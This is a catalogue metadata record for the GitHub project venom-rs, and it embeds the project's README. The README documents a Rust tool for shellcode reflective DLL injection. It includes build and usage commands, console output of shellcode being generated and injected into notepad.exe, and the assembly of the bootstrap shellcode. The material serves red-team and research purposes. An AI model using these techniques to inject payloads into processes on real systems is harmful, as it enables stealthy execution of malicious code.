{"id":13578665,"url":"https://github.com/memN0ps/venom-rs","last_synced_at":"2025-04-05T19:33:26.267Z","repository":{"id":38404946,"uuid":"504459062","full_name":"memN0ps/venom-rs","owner":"memN0ps","description":"Rusty Injection - Shellcode Reflective DLL Injection (sRDI) in Rust (Codename: Venom)","archived":true,"fork":false,"pushed_at":"2024-03-02T01:37:12.000Z","size":274,"stargazers_count":335,"open_issues_count":0,"forks_count":42,"subscribers_count":7,"default_branch":"main","last_synced_at":"2025-04-04T18:52:12.927Z","etag":null,"topics":["dll","injection","loader","pic","position-independent-code","reflective","rust","shellcode","srdi","windows"],"latest_commit_sha":null,"homepage":"","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/memN0ps.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-06-17T08:46:06.000Z","updated_at":"2025-04-01T03:06:27.000Z","dependencies_parsed_at":"2024-01-16T20:29:03.644Z","dependency_job_id":"cf874fa7-7c68-4a4b-b4b1-2c16dbcbe57f","html_url":"https://github.com/memN0ps/venom-rs","commit_stats":null,"previous_names":["memn0ps/venom-rs"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Fvenom-rs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Fvenom-rs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Fvenom-rs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/memN0ps%2Fvenom-rs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/memN0ps","download_url":"https://codeload.github.com/memN0ps/venom-rs/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247393095,"owners_count":20931804,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["dll","injection","loader","pic","position-independent-code","reflective","rust","shellcode","srdi","windows"],"created_at":"2024-08-01T15:01:32.690Z","updated_at":"2025-04-05T19:33:24.637Z","avatar_url":"https://github.com/memN0ps.png","language":"Rust","funding_links":[],"categories":["Rust","Projects"],"sub_categories":[],"readme":"# Shellcode Reflective DLL Injection (sRDI) in Rust (Codename: Venom)\n\nShellcode reflective DLL injection (sRDI) is a process injection technique that allows us to convert a given DLL into a position-independent code which can then be injected using our favourite shellcode injection and execution technique.\n\n## Features\n\n- The size of the reflective loader is approximately 4KB.\n\n- Does not release the memory that was allocated by the injector, nor does it remove any existing `RWX` permissions set by the user injector, if applicable.\n\n- Does not overwrite or erase the DOS or NT Headers of the newly allocated memory after/before resolving imports or rebasing image.\n\n- Applies protection settings for each section allocated by the `VirtualAlloc` function, and subsequently executes either DllMain or SayHello functions.\n\nWhat about `OPSEC`? Feel free to implement it yourself :)\n\n## Usage\n\n0). [Install Rust](https://www.rust-lang.org/tools/install)\n\n1). Build all of the projects\n\n```\ncargo build --release\n```\n\n2). Generate the shellcode.\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\generate_shellcode.exe -h\nShellcode Reflective DLL Injection (sRDI)\n\nUsage: generate_shellcode.exe [OPTIONS] --loader \u003cLOADER\u003e --payload \u003cPAYLOAD\u003e --function \u003cFUNCTION\u003e --parameter \u003cPARAMETER\u003e --output \u003cOUTPUT\u003e\n\nOptions:\n      --loader \u003cLOADER\u003e        The reflective loader DLL path (loader.dll)\n      --payload \u003cPAYLOAD\u003e      The payload DLL path (payload.dll)\n      --function \u003cFUNCTION\u003e    The function to execute inside payload.dll (SayHello)\n      --parameter \u003cPARAMETER\u003e  The parameter to pass to the function inside payload.dll (https://localhost:1337/)\n      --output \u003cOUTPUT\u003e        The output file path (shellcode.bin)\n      --flags \u003cFLAGS\u003e          The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]\n  -h, --help                   Print help\n  -V, --version                Print version\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n3). Bring your own injector (BYOI) and inject the position-independent code with your favourite injection and execution technique or use the one in the repository.\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\inject.exe -h\nSimple Injector for PoC\n\nUsage: inject.exe --process \u003cPROCESS\u003e --file \u003cFILE\u003e\n\nOptions:\n      --process \u003cPROCESS\u003e  The target process name (notepad.exe)\n      --file \u003cFILE\u003e        The PIC file path (shellcode.bin)\n  -h, --help               Print help\n  -V, --version            Print version\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n## Example\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\u003e cargo build --release\n    Finished release [optimized] target(s) in 0.04s\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\u003e\n```\n\n### DLLMain\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\generate_shellcode.exe --loader .\\reflective_loader.dll --payload .\\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin\n\nLoader Path: .\\reflective_loader.dll\nPayload Path: .\\payload.dll\nOutput Path: shellcode.bin\n[+] Reflective Loader Offset: 0x400\n[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)\n[+] Reflective Loader Length: 3584\n[+] Payload DLL Length: 113664\n[+] Total Shellcode Length: 117350\n[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)\n[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]\n[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\inject.exe --process notepad.exe --file .\\shellcode.bin\n\n[+] Process ID: 9944\n[+] Process handle: 184\n[+] Allocated memory in the target process for the shellcode: 0x19e49950000\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n![./ExampleDllMain.png](./ExampleDllMain.png)\n\n\n### SayHello\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\generate_shellcode.exe --loader .\\reflective_loader.dll --payload .\\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin\n\nLoader Path: .\\reflective_loader.dll\nPayload Path: .\\payload.dll\nOutput Path: shellcode.bin\n[+] Reflective Loader Offset: 0x400\n[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)\n[+] Reflective Loader Length: 3584\n[+] Payload DLL Length: 113664\n[+] Total Shellcode Length: 117350\n[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)\n[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]\n[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n```\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e .\\inject.exe --process notepad.exe --file .\\shellcode.bin\n[+] Process ID: 9944\n[+] Process handle: 184\n[+] Allocated memory in the target process for the shellcode: 0x19e499c0000\nPS C:\\Users\\memN0ps\\Documents\\GitHub\\srdi-rs\\target\\release\u003e\n```\n\n![./ExampleSayHello.png](./ExampleSayHello.png)\n\n## Description\n\nThe bootstrap shellcode:\n\n```asm\ncall 0x00\npop rcx\nmov r8, rcx\n\npush rsi\nmov rsi, rsp\nand rsp, 0x0FFFFFFFFFFFFFFF0\nsub rsp, 0x30\n\nmov qword ptr [rsp + 0x20], rcx\nsub qword ptr [rsp + 0x20], 0x5\nmov dword ptr [rsp + 0x28], \u003cflags\u003e\n\nmov r9, \u003cparameter_length\u003e\nadd r8, \u003cparameter_offset\u003e + \u003cpayload_length\u003e\nmov edx, \u003cparameter_hash\u003e\nadd rcx, \u003cpayload_offset\u003e\n\ncall \u003cloader_offset\u003e\n\nnop\nnop\n\nmov rsp, rsi\npop rsi\nret\n\nnop\nnop\n```\n\nThe shellcode.bin file layout in memory:\n\n[![sRDI](./sRDI.png)](https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/)\n\n**Credits: [Nick Landers @(monoxgas)](https://github.com/monoxgas)**\n\n## References and Credits\n\n* https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/\n* https://github.com/monoxgas/sRDI\n* https://github.com/stephenfewer/ReflectiveDLLInjection/\n* https://discord.com/invite/rust-lang-community (Rust Community #windows-dev channel)\n* https://github.com/dismantl/ImprovedReflectiveDLLInjection\n* https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html\n* https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/\n* https://github.com/Cracked5pider/KaynLdr\n* https://github.com/Ben-Lichtman/reloader/\n* https://github.com/not-matthias/mmap/\n* https://github.com/memN0ps/mmapper-rs\n* https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI\n* https://github.com/Jaxii/idk-rs/\n* https://github.com/janoglezcampos/rust_syscalls/\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmemN0ps%2Fvenom-rs","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FmemN0ps%2Fvenom-rs","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FmemN0ps%2Fvenom-rs/lists"}